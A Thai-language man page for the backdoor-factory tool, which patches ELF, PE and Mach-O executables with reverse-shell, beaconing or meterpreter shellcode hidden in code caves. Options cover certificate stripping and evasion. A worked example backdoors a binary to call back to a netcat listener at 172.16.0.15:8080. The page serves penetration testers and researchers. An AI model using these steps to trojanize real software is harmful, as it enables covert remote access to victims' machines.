backdoor-factory - คู่มืออ้างอิง ตัวเลือก ตัวอย่างคำสั่ง


ชื่อ

backdoor-factory - ใส่ shellcode ที่กำหนดไว้ล่วงหน้าหรือผู้ใช้กำหนดในไบนารี

เรื่องย่อ

backdoor-factory [options]

คำอธิบาย

backdoor-factory แพตช์ไบนารีที่สามารถเรียกใช้งานได้ด้วยเชลล์โค้ดที่ผู้ใช้ต้องการ และดำเนินการต่อตามปกติของสถานะที่แพตช์ไว้ล่วงหน้า

เครื่องมือนี้มีไว้สำหรับผู้เชี่ยวชาญด้านความปลอดภัยและนักวิจัยเท่านั้น

เครื่องมือนี้ไม่รองรับการเรียกทำงาน ELF ที่ย้ายตำแหน่งได้ (เช่น คอมไพล์ด้วยตัวเลือก -fPIE ซึ่งแนะนำโดยข้อกำหนดการชุบแข็งของเดเบียน โปรดดูที่ https://wiki.debian.org/Hardening)

ไบนารีเช่น ssh อาจไม่ถูกยุบอย่างถูกต้องเนื่องจากไบนารีเช่นปลาโลมา (ในขณะที่เขียนหน้า man page นี้)

ตัวเลือก:

-h, --help

แสดงข้อความช่วยเหลือนี้และออก

-f FILE, --file=FILE

ไฟล์ไปที่ประตูหลัง

-s SHELL, --shell=SHELL

เพย์โหลดที่พร้อมใช้งาน ใช้ 'แสดง' เพื่อดูเพย์โหลด

-H HOST, --hostip=HOST

IP ของ C2 สำหรับการเชื่อมต่อย้อนกลับ

-P PORT, --port=PORT

พอร์ตสำหรับเชื่อมต่อกลับเพื่อรีเวิร์สเชลล์หรือเพื่อฟังการรวมเชลล์

-J, --cave_jumping

เลือกตัวเลือกนี้หากคุณต้องการใช้ Code Cave Jumping เพื่อซ่อน Shellcode ของคุณเพิ่มเติมในไบนารี

-a, --add_new_section

กำหนดให้เพิ่มส่วนใหม่ลงใน exe (ประสบความสำเร็จดีกว่า) แต่หลีกเลี่ยงน้อยกว่า

-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE

เชลล์โค้ดที่ผู้ใช้ให้มา ตรวจสอบให้แน่ใจว่าตรงกับสถาปัตยกรรมที่คุณกำหนดเป้าหมาย

-c, --cave

ธงถ้ำจะพบถ้ำรหัสที่สามารถใช้สำหรับซ่อนรหัสเชลล์ สิ่งนี้จะพิมพ์ไปยังถ้ำรหัสทั้งหมดที่มีขนาดเฉพาะ แฟล็ก -l สามารถใช้กับการตั้งค่านี้ได้

-l SHELL_LEN, --shell_length=SHELL_LEN

สำหรับใช้กับ -c เพื่อช่วยค้นหาถ้ำรหัสที่มีขนาดต่างกัน

-o OUTPUT, --output-file=OUTPUT

เส้นทางไฟล์เอาต์พุตลับๆ ผู้ปกครองต้องมี dir(s)

-n NSECTION, --section=NSECTION

ชื่อส่วนใหม่ต้องมีอักขระน้อยกว่าเจ็ดตัว

-d DIR, --directory=DIR

นี่คือตำแหน่งของไฟล์ที่คุณต้องการแบ็คดอร์ คุณสามารถสร้างไดเร็กทอรีของไฟล์แบ็คดอร์ได้เร็วขึ้นโดยบังคับให้แนบโค้ดเคฟกับ exe โดยใช้การตั้งค่า -a

-w, --change_access

แฟล็กนี้เปลี่ยนส่วนที่เป็นที่ตั้งของ codeca เป็น RWE บางครั้งก็จำเป็น เปิดใช้งานโดยค่าเริ่มต้น หากปิดใช้งาน ประตูหลังอาจล้มเหลว

-i, --injector

คำสั่งนี้จะเปลี่ยนโรงงานลับๆ ในกลไกประเภท Hunt และ Shellcode Inject แก้ไขการตั้งค่าเป้าหมายในโมดูลหัวฉีด

-u SUFFIX, --suffix=SUFFIX

สำหรับใช้กับหัวฉีด ให้ใส่ส่วนต่อท้ายในไฟล์ต้นฉบับเพื่อให้กู้คืนได้ง่าย

-D, --delete_original

สำหรับใช้กับโมดูลหัวฉีด คำสั่งนี้จะลบไฟล์ต้นฉบับ ห้ามใช้ในระบบการผลิต (ผู้เขียนไม่รับผิดชอบต่อการใช้งานที่โง่เขลา)

-O DISK_OFFSET, --disk_offset=DISK_OFFSET

จุดเริ่มต้นบนดิสก์ออฟเซ็ต หน่วยเป็นไบต์ ผู้เขียนบางคนต้องการทำให้ยุ่งเหยิงบนดิสก์ออฟเซ็ตเพื่อหลีกเลี่ยงการทำวิศวกรรมย้อนกลับ หากคุณพบว่าหนึ่งในไฟล์เหล่านั้นใช้แฟล็กนี้ หลังจากที่คุณพบออฟเซ็ตแล้ว

-S, --support_check

เพื่อตรวจสอบว่าไฟล์รองรับโดย BDF หรือไม่ก่อนที่จะทำแบ็คดอร์ไฟล์ สำหรับใช้เองหรือใช้อย่างละเอียด การตรวจสอบนี้จะเกิดขึ้นโดยอัตโนมัติหากมีการพยายามแบ็คดอร์

-M, --cave-miner

การใช้งานในอนาคต เพื่อช่วยกำหนด shellcode ที่เล็กที่สุดในไฟล์ PE

-q, --no_banner

ฆ่าแบนเนอร์

-v, --verbose

สำหรับเอาต์พุตข้อมูลการดีบัก

-T IMAGE_TYPE, --image-type=IMAGE_TYPE

ไบนารีประเภท ALL, x86 หรือ x64 เท่านั้น ค่าเริ่มต้น=ทั้งหมด

-Z, --zero_cert

อนุญาตให้เขียนทับตัวชี้ไปยังตารางใบรับรอง PE เพื่อลบใบรับรองออกจากไบนารีได้อย่างมีประสิทธิภาพสำหรับจุดประสงค์และวัตถุประสงค์ทั้งหมด

-R, --runas_admin

การทดลอง ตรวจสอบไบนารี PE สำหรับ 'requestedExecutionLevel level="highestAvailable"' หากสตริงนี้รวมอยู่ในไบนารี จะต้องเรียกใช้ในฐานะ system/admin หากไม่ได้อยู่ในโหมดตรวจสอบการสนับสนุน ระบบจะพยายามแพตช์ maximumAvailable ในไฟล์ Manifest หากมีรายการ ExecutionLevel ที่ร้องขอ

-L, --patch_dll

ใช้การตั้งค่านี้หากคุณไม่ต้องการแพตช์ DLL แพทช์ตามค่าเริ่มต้น

-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY

สำหรับรูปแบบ MACH-O ถ้าไฟล์อ้วน ให้โฟกัสที่ arch ที่จะปะ ค่าเริ่มต้นคือ x64 ในการบังคับ x86 ให้ใช้ -F x86 เพื่อบังคับทั้งสองส่วนโค้งให้ใช้ -F ALL

-B BEACON, --beacon=BEACON

สำหรับน้ำหนักบรรทุกที่มีความสามารถในการส่งสัญญาณ ให้ตั้งเวลาเป็นวินาที

-m PATCH_METHOD, --patch-method=PATCH_METHOD

วิธีการแพตช์สำหรับไฟล์ PE, 'ด้วยตนเอง', 'อัตโนมัติ', แทนที่และ onionduke

-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY

สำหรับหัวหอมดุ๊ก ระบุไบนารีที่คุณต้องการ

-X, --xp_mode

ค่าเริ่มต้น: ไม่รองรับเครื่องดั้งเดิม XP ให้ใช้ -X เพื่อรองรับ XP ตามค่าเริ่มต้น ไบนารีจะขัดข้องในเครื่อง XP (เช่น แซนด์บ็อกซ์)

-A, --idt_in_cave

การทดลอง ตามค่าเริ่มต้น ตารางไดเร็กทอรีนำเข้าใหม่จะถูกสร้างขึ้นในส่วนใหม่ โดยการเรียกแฟล็กนี้ ตารางจะถูกใส่ในถ้ำรหัส ซึ่งอาจทำให้เกิดความล้มเหลวของไบนารีได้ในบางกรณี ทดสอบไบนารีเป้าหมายก่อน

-C, --code_sign

สำหรับผู้ที่มีใบรับรอง codesigning ที่ต้องการลงชื่อไบนารีของ PE เท่านั้น ตั้งชื่อคีย์การลงนามและคีย์ส่วนตัวของคุณ signcert.cer และ signPrivateKey.pem ตามลำดับในไดเร็กทอรี certs ซึ่งขึ้นอยู่กับคุณในการขอรับใบรับรองการลงนาม

-p, --preprocess

เพื่อเรียกใช้สคริปต์การประมวลผลล่วงหน้าในไดเร็กทอรีการประมวลผลล่วงหน้า

เกี่ยวกับเชลล์โค้ด

มีเชลล์โค้ดที่กำหนดไว้ล่วงหน้าหลายตัวในแบ็คดอร์-แฟคทอรี ความพร้อมใช้งานขึ้นอยู่กับประเภทเป้าหมาย (ELF32, ELF64, PE32...) รายการ shellcodes กำหนดไว้ด้านล่าง

สำหรับ Intel ทั้งหมด (สถาปัตยกรรม x86 และ x86_64)

reverse_shell_tcp

ต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต: การเข้าถึงเชลล์ระยะไกล

delay_reverse_shell_tcp

ต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต: การเข้าถึงเชลล์ระยะไกล

beaconing_reverse_shell_tcp

ต้องการ: บีคอน รีโมตโฮสต์ และพอร์ตที่จะตั้งค่าอนุญาต: การเข้าถึงเชลล์ระยะไกล

user_supplied_shellcode

ต้องการ: เชลล์โค้ดที่ผู้ใช้กำหนดพร้อมที่จะฉีด ใบอนุญาต: ขึ้นอยู่กับเชลล์โค้ด

เชลล์โค้ดเฉพาะของ Linux

reverse_tcp_stager

ต้องการ: อนุญาต:

เชลล์โค้ด Windows PE32 exe

reverse_shell_tcp_inline

ต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต: การเข้าถึงเชลล์ระยะไกล

reverse_shell_tcp_stager_threaded

ความต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่า อนุญาต: ฉีด DLL ของเซิร์ฟเวอร์ meterpreter ผ่านเพย์โหลด Reflective Dll Injection

meterpreter_reverse_https_threaded

ความต้องการ: รีโมตโฮสต์และพอร์ตที่จะตั้งค่าอนุญาต: ตัวแปลมิเตอร์ผ่านการขนส่ง https

user_applied_shellcode_threaded

ความต้องการ: เชลล์โค้ดที่ผู้ใช้กำหนดพร้อมที่จะฉีด ใบอนุญาต: ขึ้นอยู่กับเชลล์โค้ด

iat_reverse_tcp_inline

ความต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต:

iat_reverse_tcp_inline_threaded

ความต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต:

iat_reverse_tcp_stager_threaded

ความต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่า อนุญาต: ฉีด DLL ของเซิร์ฟเวอร์ meterpreter ผ่านเพย์โหลด Reflective Dll Injection

iat_user_applied_shellcode_threaded

ความต้องการ: เชลล์โค้ดที่ผู้ใช้กำหนดพร้อมที่จะฉีด ใบอนุญาต: ขึ้นอยู่กับเชลล์โค้ด

เชลล์โค้ด exe ของ Windows PE64

delay_reverse_shell_tcp

ต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต: การเข้าถึงเชลล์ระยะไกล

reverse_shell_tcp

ต้องการ: โฮสต์ระยะไกลและพอร์ตที่จะตั้งค่าอนุญาต: การเข้าถึงเชลล์ระยะไกล

beaconing_reverse_shell_tcp

ความต้องการ: บีคอน รีโมตโฮสต์ และพอร์ตที่จะตั้งค่าการอนุญาต: การเข้าถึงเชลล์ระยะไกล

user_supplied_shellcode

ความต้องการ: เชลล์โค้ดที่ผู้ใช้กำหนดพร้อมที่จะฉีด ใบอนุญาต: ขึ้นอยู่กับเชลล์โค้ด

ตัวอย่าง

ตัวอย่างการถอดรหัสไบนารีของ ELF โดยการรวมการเข้าถึงเชลล์ระยะไกลผ่านตัวฟัง TCP ระยะไกล (เช่น netcat):

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

บนโฮสต์ที่อยู่เบื้องหลัง IP 172.16.0.15 ให้เริ่ม netcat ในโหมดฟัง:

netcat -l 172.16.0.15 8080

ที่เป้าหมาย ให้เริ่มไบนารีลับๆ:

./backdoored/dolphin

ตอนนี้บนโฮสต์ 172.16.0.15 เพียงใช้เปลือกของคุณ

ประวัติศาสตร์

พฤษภาคม 2017 เรียบเรียงโดย Philippe Thierry (ฟิลที่ reseau-libre dot com)